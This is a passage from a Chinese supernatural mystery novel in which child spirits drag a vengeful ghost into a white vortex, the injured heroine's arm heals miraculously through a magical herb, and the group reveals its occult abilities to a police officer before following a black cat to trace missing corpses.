但两个男人的速度终究没有快过李向泰，在他们救下沈聆之前，李向泰的拳头已经砸了下来。
“死吧！！”李向泰怒喝之下，一股血气如锋利的剑气一般朝沈聆袭来。
风声在耳边呼啸而过，沈聆痛苦地闭上了眼睛，心里暗道这次完蛋了，小命估计就要交代在这里……
但奇怪的是，她只感觉到自己的发丝被迎面吹开，一股浓郁的血腥味瞬间包裹住了自己，然而，那预想中的重拳却并没有打在自己身上。
——怎么回事？沈聆满心疑惑，小心翼翼地睁开眼睛。
在睁开眼睛的时候，沈聆愣住了。
她发现在李向泰身后，出现了许多和他差不多高的小朋友，那些小朋友们站在李向泰身后，双手抓住了李向泰的衣服，眼睛冷冷地注视着发狂的李向泰。
这些小灵体的身体是半透明的，他们悬浮在半空中，并且泛着柔和的光线，他们的脸庞看起来并不清晰，五官有点儿模糊，身体轮廓隐隐发光，看起来就像是最纯净的灵魂。
“你们……你们……”
李向泰回过头，看着站在自己身后的小朋友们，眼眸中流露出惊恐的神情——哪怕在被白虎攻击的
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时候他都没有流露出哪怕是一丝的恐慌，但现在，看着凭空出现在自己身后的那些灵体，他瞬间方寸大乱，原先打算砸死沈聆的拳头硬生生地停在半空，似乎被一种无形的力量拦住了。
“你们怎么会在这里……”
李向泰动了动身子，似乎想挣脱身后其他小朋友们的牵制，但那些小朋友们拉着李向泰的衣服，从他们身上泛出的光压制着李向泰的煞气，受到压制之后，李向泰也发生了变化，原先在吸收了女鬼的煞气之后暴走的恶鬼形态逐渐恢复成了最开始的样子。
“李向泰，是你做的吗？”
一个女孩子的声音响起，那声音像是从那些灵体中发出来的，但是他们没有五官，也不知道是其中的谁问的话。
李向泰惊恐地看着身后，忙摇着头：“我……我……”
“是你害得李伯伯摔断了腿吗？”那个女童的声音再一次问道。
她的声音十分空灵，就像是山野中的泉泉流水，叮咚好听，只不过，她的声音里不带任何情绪，听不出一点波澜。
“我……我……我不是故意的……”李向泰狡辩，“是他自己不小心摔下去的，不关我的事情！”
“他说谎！”宋明夷大声反驳，“他不是个好东西！肯定是他推下去的！”
“我没有！”李向泰瞪了一眼宋明夷，恨不得将宋明夷生吞活剥。
知道这件事情的，在场的明明只有林凌，但宋明夷出于想要搞死李向泰的心，张口就开始胡诌，偏偏歪打正着，又说中了真相，李向泰恼羞成怒地看着宋明夷，恨自己刚才没有先解决了那个难缠的女人。
“是李伯伯把我们的尸体背回去的，李向泰，你恩将仇报。”在小朋友们的灵体中，另一个声音响起，这一次，是一个小男孩的声音。
“李向泰，你不应该这么做。”
“对，你不是个好孩子。”
“你应该下地狱的。”
“我们要帮李伯伯报仇。”
……
那些声音接二连三地响起，随后，在李向泰身后，出现了更多的灵体，那些灵体看起来是有十岁左右的身高，并且越来越多，他们的声音带着肯定，虽然没有愤怒的语气，但也说出了审判的笃定。
“我……不要……不要……我们不是朋友吗？不要对付我……”李向泰转身想解释什么，但在他身后的那些灵体却往后退了几步，似乎不打算接受他。
“你不是我们的朋友，我们只是恰好死在了一起而已，你让我们感到恶心。”那些声音异口同声地说着。
随后，那些灵体身上开始泛出白色的刺眼的光，那些光如同利剑一样，破开了李向泰身周的煞气。
随后，灵体身后出现了一个白洞一样的旋涡，那个旋涡像是带着引力一样，能将周围所有的煞气吸入其中，这些小朋友们的灵体抓住了李向泰，有的抓着他的胳膊，有的抓住他的衣服，在李向泰的挣扎无果下，这些小朋友们带着李向泰走向了白洞旋涡的中心。
57. 告别
白洞的白光刺目无比，令人难以直视，整个走廊被照耀得如同白昼一般明亮。
在白洞的深处，那神秘的光芒不断闪烁着，仿佛蕴含着无尽的秘密和力量。
沈聆站在原地，耳边回荡着一种奇异的声音，似是从黄泉路上传来的吟唱声，又好似是亲人们送别时的哭泣声，这声音如泣如诉，令人心生恐惧与悲伤。
白洞宛如一个无底深渊，无情地吞噬着周围的一切，几个小灵体毫不犹豫地纵身跳入白洞之中，紧接着，那些抓住李向泰的小灵体们也用力拉扯着他，一步步向着白洞靠近。
随着距离的拉近，白洞产生出一股强大的吸力，将李向泰身上的煞气全部吸纳其中。
眼看着自己离白洞越来越近，李向泰的内心充满了绝望和不甘，他拼命挣扎着想要挣脱束缚，但小灵体们紧紧抓住他，令他无法动弹。
“你们……你们放开我……我不要去……我不要去……”
李向泰瞪大了双眼，眼珠子都快要从眼眶里蹦出来似的，眼中充满了血丝，满脸惊恐地看着前方，他的脸色苍白如纸，嘴唇也失去了血色，脸上的肌肉微微抽搐着，似乎想要说些什么却又发不出声音来。
他的身体开始向后倾斜，仿佛对白洞有着本能的恐惧和抗拒，他试图远离这个可怕的存在，然而，他的努力都是徒劳的，因为他的双手被一群小灵体紧紧抓住，无法挣脱，这些小灵体们的力量似乎比他自己还要强大一些，让他无法反抗。
“不要……不要……”
小灵体们不仅抓住了他的手，还用力推着他的后背，迫使他一步步靠近白洞。
李向泰的脚步沉重而艰难，每一步都带着无尽的恐惧和绝望。
“我们不是朋友吗？求求你们放过我！求求你们！！”
他试图挣扎，但小灵体们的桎梏让他无法逃脱，只能无奈地被他们挟持着，走向那个未知的白洞。
“你不是我们的朋友。你伤害了救我们的好人，你不是我们的朋友！”
“老师说我们不能害人，你跟我们不一样，你是个害人精，李向泰是个害人精！”
“你要和我们一起走，你不能留在这里！”
“带他走！带他走！”
……
这些小灵体的声音们此起彼伏，他们达成了一致的意见，要把李向泰抓到另一个世界去。
“不要……不要……”
随着距离白洞越来越近，李向泰惊恐地睁大了眼睛、他感受到了一股强烈的吸力，仿佛要将他吞噬进去，他拼命地挣扎着，但小灵体们的力量让他无从抵抗。
虽然他已经死了，但这一刻他才真正感到自己的生命正逐渐走向尽头，心中充满了无助和绝望。
他的肉身已经毁灭。
而现在，他的灵魂也已经离开这个世界。
他马上就要彻底地死去了，这一次，才是真正的死亡……
“不要！不要！”
在李向泰的挣扎下，小灵体们将他直接推入了白洞之中，白洞如同一个旋涡一样，将李向泰吸了进去，李向泰本身就是鬼魂的形态，在白洞的吸力之下，他的身体被拉长、发生了变形，随后，拉长的身体被卷入了白洞的旋涡之中，他的惨叫声也在这个过程中被拉长了，最后消散殆尽。
一直在将李向泰丢入了白洞后，站在原地的小灵体们这才拍了拍手，看起来像是搬了一个重物、或是做了一件不轻松的活。
其中一个像是扎着双马尾的灵体回过头，看向了林凌：“你好，请问你是李伯伯的朋友吗？”
闻言，林凌忙点了点头：“对，我是他的同事，也算是他的半个徒弟，我是陵川市公安局的林凌。”
“这样啊……那李伯伯现在还好吗？”
小女孩的声音刚落，其他几个灵体也回过头看向了林凌，他们都十分关心老李的伤势，似乎这是他们最后能为帮助自己的人做的事情。
“老李摔下山崖之后骨折了，不过你们不用担心，前几天他刚做完外科手术，目前恢复的情况还不错，而且他这个算是工伤，有一定的报销比例的，现在医保系统也很发达，应该不会给他们家造成多大的负担。”
“那就好，可惜的是，我们没办法跟李伯伯道谢了。”小女孩说着，双马尾微微下垂了一点，空灵声音带着几分遗憾，半晌，她又抬起头看向了林凌，“那……你能帮我们传达一句话吗？我们都很感谢伯伯当时把我们从山崖下背上来了，如果不是李伯伯，爸爸妈妈都看不到我们的尸体。”
“好，放心吧，我想，老李一定都不后悔曾经做过的事情，你们都是好孩子，相信你们下辈子一定能投个好胎，有一个安稳的人生。”林凌说着，眼中闪烁着泪光。
他是一个警察。
在过去的几年警察生涯中，他也参与过许多办案，看到了许多尸体，但这还是第一次，他看到了人在死后的灵魂。
他看着那些灵体半透明的身体，第一次感觉到了灵魂的圣洁和纯净，这些孩子的灵魂一尘不染，就像是半凝结的水，又像是透明的冰晶，他们带着感恩，他们带着对人世间的留念，但可惜的是，他们留在这个世界的时间已经不多了，他们的□□已经毁灭，如果不愿意和李向泰一样变成厉鬼，他们就必须转世往生，否则将会魂飞魄散。
“你们好好去吧，没关系，我会去看看你们的爸爸妈妈，我会跟他们说，你们去了一个很安详的地方，没有痛苦，都很幸福。”
“好的，那就麻烦你了，大哥哥。”
这些小灵体们说着，朝着林凌礼貌地鞠躬了一下，他们看起来不过是十多岁的孩子们，就像是淘气的小精灵，到这个世界玩耍了一圈后，又要回到自己的世界去了。
随后，他们挥了挥小手，跳跃的小身体一个接一个、可可爱爱地蹦跳着，进入了白洞里。
他们走得很安详，这个世界在最后并没有给他们太多的痛苦。
希望他们的下一世，能够平平安安的，不再有车祸。
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所有人都没有说话，看着那些小灵体进入白洞后，白洞一点点关闭，这个世界和另一个世界的联系最后也切断了。
白光消散后，殡仪馆再一次陷入了平静中。
吴妄一挥手，白虎和玄武都退了下去，他脚下的阵法也消失了，像是这一切都没有发生过一样。
“你没事吧、沈聆？！”宋明夷忙跑到沈聆身边，她看着沈聆右手触目惊心的样子，感到心惊肉跳。
沈聆的手已经完全变形，失去了原本的形态，她的骨头、肌肉和韧带被女鬼的头发紧紧缠住并卷断，导致手臂严重受损，手臂上的皮肤也因过度拉伸而破裂开来，鲜血不断涌出，染红了整条手臂，此刻，她的手臂看上去就像刚刚经历过一场血腥的绞杀，只剩下血肉模糊的一团，像是刚刚从绞肉机里拿出来一样。
“这、这怎么办啊？！”宋明夷直接“哇”地哭出来了，如果不是沈聆刚才在推开了她，或许现在血肉模糊的就是她了。
她感到后怕，也感到侥幸，但同时也感到自己“死有余辜”的愧疚，如果不是自己把女鬼引到这里来，或许沈聆的胳膊就不会变成这样子了。
“我现在就报120，先坐我的车去医院，说不定还有救……”林凌说着，掏出手机就拨打了120电话，“喂？！120吗？！我在陵川市殡仪馆，这里有人受伤了，而且手臂伤情很严重，麻烦你们现在马上安排好急诊，我开车送她过去……”
吴妄收起了桃木剑，来到了沈聆身边。
他低下头看了看沈聆的伤情，复又看向了沈聆苍白的脸颊。
“怎么样？”
“你觉得呢。”沈聆疼得满额冷汗。
“看着像是暂时死不了的样子。”吴妄一挑眉。
“我谢谢你！”
“没关系，不就是断了一只手臂嘛，杨过也是这样的，说不定你还可以练他的黯然销魂掌。”
沈聆瞪了一眼吴妄，恨不得一口咬住他的手背，撕下一块肉。
“行了，你呢，就坐那小子的车，去医院处理一下，看这样子应该问题也不大。”吴妄指了指还在打120电话的林凌。
“但是手臂怎么办？这样子是不是就残疾了啊？！”宋明夷满眼泪光，“对不起啊，沈聆，都怪我，你都是为了救我才……”
“没事的，不是什么大不了的事情，你的小姐妹手臂保得住。”吴妄云淡风轻地说道。
“道长……何出此言？”沈聆听出了道长话里话外的玄机。
“你忘了吗？你上次受伤的时候，是不是比平常人恢复得更快一点？”
沈聆愣了一下，她想起来了，上次在医院祭魂的时候，她遇到了恶鬼，并且脑震荡、浑身骨折的时候，的确没有半个月就恢复了。
这样的速度确实是普通人做不到的，至少，正常人类的康复速度是做不到的。
“这倒是……”
吴妄抬起手，点了点沈聆的额头：“有人给了你一个‘好东西’，你放心吧。”
58. 灵元草
那天晚上，沈聆坐着林凌的车，和宋明夷、吴妄一起回到了平安医院。
在刚上车的时候，宋明夷脱下了她的外套，包裹在沈聆的“断臂”外面，她的手臂血肉模糊的，实在是太吓人了，担心伤口二次感染，他们只能简单处理了一下，殡仪馆的包扎条件有限，只能大概减少伤口感染的几率。
但神奇的是当被送到平安医院急诊科的时候，拆开外面包裹着的外套医生一看，却也没有想象中那么夸张。
“什么？你们的意思是……她整条手臂都被绞肉机绞烂了？”
在听到宋明夷说出这句话的时候，急诊科医生和护士全都吓呆了，他们不敢有半分耽误，赶紧将沈聆抬上了担架，匆匆忙忙地将沈聆紧急送到了急诊里面，可当拆开手臂外包裹着的外套一看，却发现，沈聆的手臂并没有想象中那么严重……
——这小女娃娃的手臂是有骨折的，并且手臂的表皮和肌肉有一些长条形的长刮伤，但那些伤口也只是割开了皮肉，并没有说的“绞烂了”这么严重。
——韧带也有损伤，影响了手腕和手指关节的正常活动，产生了部分酸胀麻痛的不适感，可并没有到了整条手臂都残废了的程度，只需要进行包扎和固定，做一做康复，不日就能出院了。
“什么？！”
在听完医生和护士的话后，轮到宋明夷和林凌两脸懵逼，但在他们俩身后，吴妄坐在医院的走廊里，到是一副“尽在我意料之中”的表情。
“医生？你真的没看错吗？你说沈聆的手臂没有到残废的程度？只是轻微骨折和皮肉伤而已吗？？”
宋明夷摇了摇医生，满眼难以置信。
在事情发生的那一刻，她是距离沈聆最近的人，她清清楚楚地看到被女鬼的头发包裹着的手臂在拆开的那一瞬间简直如同一图烂肉一样掉在地上，沈聆疼得满额冷汗，她的整条手臂早已经没有了原来的形状，这一看就已经“无”了，怎么过了一个小时，赶到医院的时候，就没那么严重了？
这不科学！
“医生！你不要担心我们太过悲伤，你就实话实说吧，我们都是沈聆的朋友！无论多大的悲伤，我们都能承受得住的！”宋明夷说着，双手真诚地握着医生的手，认真地看着医生，满眼泪光。
“可是……”
未等医生说完，林凌也赶着插嘴说道：“对啊，医生，我们都是年轻人，沈聆她外婆不在这里，不用担心老人家接受不了，你别担心，就如实告诉我们就好了，我们早就做好心理准备了，别担心，不管什么消息，我们都撑得住的！”
“对啊医生！你别担心，就算沈聆从今往后是一个残废，我们也不会丢下她不管的！从今以后，只要有我宋明夷一口吃的，就有沈聆一口喝的！她是我的救命恩人！从今天开始，那和我就是过命的交情了！”
林凌拍了拍宋明夷的肩膀：“这件事情我也有责任，我是一个警察，但是在当时那种情况下，我居然没有保护好在场的老百姓，沈聆只是一个花季少女，就这么残废了，实在是可惜，别担心，我和你一起养她，哪怕她下半辈子不工作也没关系！”
“好的林大哥！你真是重情重义，我和沈聆都会很感激你的！以后你就负责赚钱，我就负责照顾沈聆，给她端屎把尿！”
……
吴妄没忍住，笑了出来。
这俩人，一副做好了充分心理准备的样子，不知道的人还以为沈聆死了呢。
医生挠了挠头：“不是，小伙子，小姑娘，你们给我整懵逼了，你们真的是她的朋友吗？我怎么感觉你们一句一句都在诅咒她呢？”
“我们真的是她的朋友！”
宋明夷和林凌转过头认真地看着急诊科的主任医生，默契地异口同声说道。
“医生，你就告诉我们实情吧！无论结果是什么，我们都会好好消化这个悲惨的消息的！”
“可是……她真的没什么大问题啊……”
这两个人眼中闪烁的泪光给医生整不会了，挠了挠头，这位快五十岁的急诊科主任医师第一次对自己的诊断结果也开始怀疑了起来。
“难道说……这小姑娘的伤情别有隐情？你们等等，我再给她检查一下……”
主任医师挠了挠头，他那脑袋上本就不多的毛发又掉了几根。
他转身走进了急诊科的科室里，招呼着手下一帮年轻的医生护士们开始用各种仪器进行检查，并协调了核磁共振、X光、血常规、尿常规……给沈聆来了一套全身体检。
一整个晚上折腾下来，一直到白天，检查结果都出来之后，大家发现，其实沈聆只不过是右手的手臂受了点外伤，另外，还有点儿低血糖，除此之外，并没有任何不适，更神奇的是，刚送到医院的时候，急诊科主任诊断沈聆是有骨折的，但是在后续检查的时候，她身上的骨折却奇迹一般不见了？
——在X光下，她的骨骼连接情况良好，骨关节也没有错位，骨头也没有出现骨裂等情况，完全就是一个来医院体检的正常人，除了皮肤还有一些外伤之外，实在是看不出她还有什么受伤的地方。
“你们几个够了！”
宋明夷和林凌直接被急诊科主任轰出了急诊室，他们浪费了一整个晚上的时间，用尽各种方法检查出来这个小姑娘不过是一些皮肉伤，简直是浪费了宝贵的医疗资源，甚至还欺骗了医务人员的感情！
宋明夷和林凌站在平安医院的大厅里面面相觑，都不知道为什么会这样，宋明夷手里还提着一大袋沈聆的检查结果，她不信邪，本身就是护士的她，自然也能看懂一些检查结果，她从一大袋的报告单里翻来覆去地看了一遍，甚至连X光片也认真对着太阳检查了一遍，最后得出的结论，和急诊科主任的结论别无二致。
“这……这怎么可能呢？？”宋明夷疑
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惑地睁大了眼睛。
林凌凑上来问道：“怎么样？沈聆真的没事情吗？手臂没废？”
“没有啊！从各项检查结果来看，如果不是有人冒名顶替检查的话，那沈聆真的很健康啊，甚至比我还健康，我还有通风呢……”
“但我们不是看到她手臂……”
——“你看到的时候是那样的，不代表现在也是那样的。”
吴妄的声音从身后传来，宋明夷和林凌回头看去，发现沈聆和吴妄缓步从急诊科走了出来，沈聆右手包扎了绷带和纱布，并且暂时用纱布固定着掉在胸前，看起来就和骨折了的病人一样。
“沈聆！你没事了吗？！”宋明夷将手中的检查结果一抛，跑向了沈聆，还好身旁的林凌眼疾手快接住了那一大袋检查报告。
宋明夷跑到沈聆身边，绕着她转了好几圈，她原想碰一碰沈聆的右手，但又担心触碰到她的伤口、加重她的伤势，左右为难之下，“只能远观，不可亵玩”。
“没事的，我自己是感觉还好。”沈聆微微一笑，她的脸色有点儿失血的苍白，但精神头绪看起来还不错，也没有刚刚受伤的时候那么凄惨了，“医生给我上了麻药，伤口大部分是皮肉伤，就是有点儿疼痛而已。”
“只是皮肉伤？！怎么可能，我明明看到你整条手臂都……”
“嗯，但是我感觉，我的骨骼好像在送到医院的时候已经重新长好了。”沈聆平静地看着宋明夷和林凌，解释道，“在来的路上，我感觉我的手臂很痒，就好像我的骨骼在生长一样，我可以感觉到骨骼在‘咯吱咯吱’地发出很细微的声音，但是我不敢确定，手臂很疼，很痒，也很酸胀，不知道是不是那个原因……等我再一次拍片检查的时候，我的骨头已经都长好了，甚至韧带也是。”
宋明夷挠了挠头：“怎么会呢……”
她是学医出身的，这件事情实在是令她感觉到匪夷所思。
“应该是有人送了你什么东西吧。”吴妄倒是看透了一切，他看着沈聆，那双眼睛似乎带着几分引导。
沈聆转了转眼睛，认真思考了一下。
“这么说……当时在祭魂秦琴的时候，我好像做了个梦，在梦里她似乎把什么发光的东西给我了，我不知道那是什么东西，但是在梦里，那个东西就融入了我的身体里。”
沈聆说着，抬手捂在自己胸口的位置，她清楚地记得在梦境中，那个光点与自己融合的时候，是那么刺眼。
——难道说，我可怕的愈合速度，和那个东西有关系？
“秦琴，不是一个简单的人。”吴妄轻声说道，“她给你的东西，是灵元草，是古楼兰婼羌国的秘草之一，秦琴应该是古楼兰婼羌国族人的后代，她给你的这种草能让你具有无限治愈能力，并随着你的身体与灵元草合二为一，你受伤后的治愈速度会越来越快，沈聆，相当于，她给了你一个不死之身。”
59. 坦白
“灵元草？”
“对，在古楼兰，有一个小国，叫婼羌，他们的族人擅长培养各类草药，其中有一类草药，就是灵元草。”吴妄说道，“我也只是在古籍上看到过，这种灵元草的生长环境很特殊，通常生长在雪山之下，在长成之后，可提炼为内丹，存于体内。”
“婼羌……”
“你在梦境中看到的秦琴，应该是她的魂魄，她或许是她这一族最后的人了，没有其他人可以托付这灵元草，但是你的出现让她看到了希望，你将灵元草交给你，认为你是灵元草最合适的新主人。而且，灵元草喜阴，你是阴五行的生辰八字，你的体质，适合当阴厨，也适合作为灵元草的载体，保存这稀世珍宝。”
林凌回想了一下：“说来，在发来的协查函上的确说了秦琴的双亲在她被拐卖不久后就去世了，说是失去女儿悲伤过度。”
“不止如此。”吴妄沉声说道，“灵元草是她们这一脉的秘药，他们守护灵元草，也用自己的身体保存灵元草，作为回馈，灵元草也会赋予他们‘生力’，因为婼羌一族天生心脉较弱，体弱多病，在古楼兰覆灭之后，他们离开故土，需要灵元草才得以生存。但自从秦琴被拐卖后，连同秦琴身体里的灵元草都丢失了，这对夫妻一下子失去了灵元草的‘生力’，如同无土之木，所以不久之后也相继去世了。”
听到这里，所有人都陷入了沉默。
不敢想象，在女儿丢失之后，这对老夫妻该是多么伤心绝望，同时，他们世世代代守护的秘草也丢失了，他们愧对祖先，愧对自己，在悲伤绝望中死去，该是多么令人叹息的一件事情。
如果时光可以倒流的话，如果没有这些人贩的话，就不会有一个幸福的家庭破碎，更不会有这么多人间惨剧发生。
“这些人贩子，一定要把他们一网打尽！”林凌咬着牙说道，“他们害了无数条生命，真是罪该万死！”
“不过，我听说这个组织的首脑是不是还在逃？”宋明夷担忧地看了看周围，仿佛在人来人往的医院大厅里也藏着人贩子，“会不会某天我下班的路上也有人要拐卖我啊？我听说他们的本事可高命了，会伪装成夫妻吵架、也会忽然从面包车上跑下来把女孩子拽上去……甚至有的人贩子还会以孕妇的身份博取他人同情，然后骗女孩子回家、把她打晕后卖掉……”
在这件人口拐卖案告破之后，新闻媒体刊登了大量的人口拐卖的手段，及时对群众做好了科普，提高了群众的防拐意识，宋明夷闲来无事看看手机的时候，也学到了许多曾经不知道的人口拐卖的手段，那些在路上和你擦肩而过的人，或许对你充满了恶意和算计，永远不要以善良的心对待那些恶人，因为你不知道对方会利用你的同情作出多少伤害你的事情。
“别担心，自从这件人口拐卖案发生以来，我们片区的派出所都加强了巡逻力度，并且也和社区网格员建立了安全员制度，只要发现求助的女孩子，我们就会第一时间提供帮助，我相信只要我们‘警民同心’，一定可以维护好社会治安的。”林凌的一番话说的十分官方，像极了网络上看到的可靠的警察叔叔。
一瞬间，宋明夷甚至觉得林凌应该也很适合当普法博主，干脆一起和她做直播算了，不然这一身正气的样子，放着也真是浪费了。
“说到这个……”沈聆打断道，“虽然昨天道长除掉了女鬼和那个叫李向泰的小鬼，但我们还不知道到底是谁控制了尸变的事情，昨天晚上我们在殡仪馆一楼看到的那些离开的尸体究竟去了哪里？我们目前也不得而知，我和道长追出去之后就遇到了鬼打墙，虽然地上都是那些死尸的痕迹，但是我们再也没有看到那些死尸了。”
“……鬼打墙？尸变？等等，沈聆，你们都是什么人啊？还有昨天，我怎么感觉我好像看到了一些我不该看到的东西。”林凌有点儿后知后觉。
他似乎才刚开始接触到了他以前认知里的空白，一些发生在不为人知角落的事情，或许才是这个世界最真实的真相。
“是这样的，林大哥，或许这个世界呢，没有你想象中那么简单哦。”宋明夷宛如一个老大哥，拍了拍林凌的肩膀，她大手一挥，像是要在林凌面前展示一个全新的世界，“我们人类呢，只是这个世界中很渺小的一部分，山川河流，日月星辰，我们肉眼凡胎的，很多东西看不见，但是并不代表不存在，在我们知道的这个世界背后呢，还有一个更加神秘的世界哦~现在你面前的三个人呢，就是你进入那个‘神秘世界’的最好的帮手——”
宋明夷说着，跳到了吴妄身边，扯了扯吴妄的袖子：“当当，这位是大名鼎鼎的青城山道长，吴妄，别看吴道长年纪轻轻的，他降妖除魔可很有一套哦！他曾经卖给我的符咒帮我成功驱鬼过，而且昨天你也看见了，如果不是他在现场，估计我们仨小命都得交代在哪里，他也是我们目前的最强大腿！”
随后，宋明夷绕过了吴妄，抱住了沈聆的腰，嘿嘿一笑：“这位呢，是沈聆，她是一位阴厨，顾名思义，就是给死人做饭的厨子啦，但是你可不要小看这位厨师哦，她可是能通灵的！她能召唤鬼魂，能听到鬼魂的声音和需求，可厉害了！”
最后宋明夷指了指自己，她像是作为一个嘉宾，压轴登场。
“我呢，我叫宋明夷，是这个平安医院的产科护士，但是，年轻人，不要被表面现象蒙蔽哦，你看到的这些只不过是我的表面身份，其实我的另一重身份呢，是灵异主播，我的账号就是‘小小夷’！没错，就是前几天冲上了热搜头条，一夜爆红的女主播！”
宋明夷拍了拍自己的胸口，在介绍自己的时候，她更加重了自己的语气，说道她自己的时候，那可不得了，她现在可是坐拥百万粉丝的网红女主播，她剪辑的灵异视频诡异、独特、令人身临其境，而且关键是，题材还别具一格，不存在AI造假，这几点下来，全网已经没有可以和小小夷抗衡的灵异主播了，可以说，小小夷在这条赛道上一骑绝尘，虽然身材和颜值不如其他外貌主播，但论知名度，那可不是一个等级的。
“……”
林凌听着宋明夷的介绍，一时间无言以对。
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>没想到他身边的人各个卧虎藏龙，合着闹了半天，他才是那个最普通的凡人？
“你……你们都是高人？”
宋明夷抢答：“可以这么说吧！”
“好家伙，世界末日来临的时候，你们不会各个都会‘御剑飞行’，只有我一个在地上跑路吧？”
“那可不好说！”宋明夷眼神里多了几分趾高气昂，“不过呢，你好好求我，说不定我到时候可以考虑‘带你飞’哦！”
“好了好了。”沈聆打断了宋明夷的忽悠，“林警官，你不要听宋明夷的，她的那张嘴里说出话只能信一半。”
“沈聆！不许揭我的老底！”
“是这样的，如宋明夷所说，我的确是阴厨，吴妄也的确是青城山的道长，但是我们也没有那么神通广大，我们几个里面，比较厉害的是道长，我是一个阴厨，我也就是能通通灵，祭祀亡魂而已……”
沈聆平静的语气，听起来就像是一个经验老道的长者，经历了这么大的变故，她像是成熟了许多，说话处世也在几天之内变了一个风格。
“林警官，我之前告诉你秦琴的案子别有疑点，也是因为我曾经唤出了秦琴的鬼魂……当时，我担心你不相信我说的话，所以刻意隐瞒了我是阴厨的事情……我曾经从秦琴的口中听到了关于淮阳牛肉馆的信息，所以我才想去调查那家牛肉馆，可在那之前，我没有任何证据可以证明秦琴的自杀和淮阳牛肉面馆有关系，所以那天晚上我也只能冒险孤身前往调查，不过还好，结局是好的，我们拿到了证据，也救出了更多的人。”
“原来如此。”
“对不起，但是我当时感觉，任何人听到我是亲口听见鬼魂说出这个信息的，应该也都不会相信。”沈聆叹了口气，“为了取得你的信任，我只能瞒着你，并引导你将秦琴和那个面馆扯上关系。你是我唯一认识的警察，我相信你的为人，一定不会让秦琴不明不白蒙受冤屈。”
“……不过，你们所说的话，我的确需要一定的时间消化，可是昨天晚上我也看到了一些我之前甚至不会相信的东西……放心吧，纵然我们的三观不同、对世界的认知不同，但只要我们都是为亡者伸冤，我相信都是对的，只要是合理合法的办法，只要能够帮助破案，为死去的人沉冤得雪，我都愿意配合。”
“嗯，好。”沈聆点了点头，同时也松了口气。
还好，林凌不是宁古不化的人。
他的出发点是好的，都是为了办案，都是为了减少这个世界上的冤假错案。
如果能为更多的人昭雪冤屈，这也是沈聆乐意看到的。
“说到这个……昨天晚上尸变的事情，我想我有个办法或许可以试着找找看那些尸体现在的去处。”沈聆说着，往外走去。
众人随着她走出医院，看见一只黑猫正乖乖地待在医院的台阶上，它趴在地上，蜷缩着身子，复又伸了个懒腰，眯了眯眼睛，看见沈聆的时候，“喵”地了一声。
“动物的感知远超人类，或许，它有办法帮我们找到失踪的尸体。”
60. 黑猫警长
“喵——”
那只黑色的猫在看到沈聆的时候，站起了身子，乖巧地走到沈聆身边，用毛茸茸的身体蹭了蹭沈聆的裤腿，它几乎嗅到了沈聆身上的血腥味，抬起头，那双绿色的眼眸落在沈聆缠绕着纱布的手臂上，眨了眨眼睛，似乎在询问的沈聆的手怎么受伤了。
“放心吧，我没事的。”沈聆蹲下身，用左手摸了摸黑猫的小脑袋，“昨天晚上处理了一只恶鬼，虽然过程不是很顺利，不过还好，殡仪馆暂时恢复了平静，警长，有件事情可能得麻烦你一下，我们昨天遇到了很多尸变的尸体，但是找不到那些尸体去哪里了……你能帮我们找到吗？”
“哈？你叫它‘警长’吗？”林凌一愣，刚开始他还以为沈聆在叫他，但确认了一下，沈聆是对着黑猫说话的时候，他意识到这两个字或许是那只黑猫的名字。
“对，我给它起了个名字。”沈聆回头一笑，“我不知道这只猫以前有没有名字，但是它好歹救了我，我想着，如果没有主人的话，我就收养它好了，我感觉它很乖，而且，我唯一认识的黑猫，就是电视里的黑猫警长哈哈哈……我感觉它的形象好像还挺符合的，要是能帮我们抓妖除魔就好了。”
“喵——”
黑猫眯起了眼睛，轻声叫了一声，似乎也在赞同沈聆说的话。
“都说黑猫是最通灵的一类猫，说不定这家伙真的能找到那些尸体的下落。”吴妄微微侧过脑袋，若有所思地看着黑猫，随后，喃喃了一句，“这家伙……好像还不简单。”
黑猫警长察觉到了吴妄的落在自己身上的视线，它侧过脑袋，看向了吴妄，那眼神就像是人的眼睛一样，似乎在通过眼神的交流告诉吴妄什么事情。
半晌，吴妄微微扬起嘴角，点了点头。
“知道了，我不说就是。”
他的这句话很轻，周围的人都没有听到他的这句话，但黑猫动了动耳朵，它听到了吴妄的承诺，摇了摇细长的尾巴，转身朝着停车场走去。
“我们走吧！”
沈聆站起身，朝着身后的宋明夷和林凌看去。
林凌拿出口袋里的手机，看了一眼现在的时间，经过一晚上的折腾，现在已经是早上五点多了。
“也好，时间也还够，那我们再去一次殡仪馆，然后我直接去单位打卡上班。”
“啊？警官你不用休息的吗？我每次在医院轮完夜班都要累死了，恨不得直接躺在地上睡死过去。”宋明夷说着，伸了个懒腰，“不然，你们去殡仪馆吧，我想先回家整理一下我用手机拍到的短视频。”
“你用手机拍到什么了？”沈聆感到十分好奇。
宋明夷不愧是天生主播体质，哪怕是被恶鬼追杀也不忘记拍摄灵异视频。
比起现在继续去调查尸变的事情，她更愿意在手机没电关机之前整理一下手机昨天晚上偷拍到的东西，剪辑一下放到自己的直播账号里面，说不定又能激起一番水花。
“我昨天拍到了尸变的事情……就是那些尸体爬出殡仪馆的柜子，另外，我还拍到了追杀我的那个女鬼，我想着，她既然是鬼，那么生前一定是个人吧？不知道为什么，我当时在看到她的时候，总觉得她的脸有点儿熟悉，好像在哪里见到过……只不过昨天晚上我看到她的时候，她的脑袋是倒过来的，而且脸上都是血、头发乱糟糟的，我有点儿看不清楚，我想回家修复一下影片，恢复一下清晰度……说不定，我能查出那个女鬼的身份。”
宋明夷倒是提供了一个新思路。
——其实，沈聆也有点儿好奇，女鬼到底是谁，为什么她会出现在殡仪馆，而且女鬼和李向泰是否有什么特殊联系？
——在殡仪馆外的迷阵是女鬼凭一己之力布下的吗？可，那个阵连吴妄都没办法破解，但女鬼却轻易被玄武所杀，这其中的实力不太对等，感觉女鬼背后似乎有什么人在暗中助力，那个人一定和尸变的事情有关系，如果能查清楚女鬼的身份，说不定也能多一条调查线索。
“可以，那你先回去吧，如果有什么消息你在通知我。”沈聆轻声说道，“还有……如果发现一切可疑的事情，千万不要擅自行动，记得先跟我联系，有些事情，或许不是你能解决的。”
“好嘞，放心吧！聆妹妹，我福大命大，可是要当一线网红的人，才不会这么容易翘辫子呢！”宋明夷打了个响指，背着她的黑色书包就朝着楼梯下走去。
她似乎是个风风火火的性格，一想到要做什么就会立刻付诸行动，她的执行力很强，对热点线索也很敏锐，是个天生当主播的料。
在宋明夷离开之后，沈聆、吴妄和林凌出发前往殡仪馆。
……
“道长，你怎么这么配合地跟我们一起行动？不担心我们没钱雇你吗？”
在车上的时候，坐在后排的沈聆偷偷跟吴妄说道。
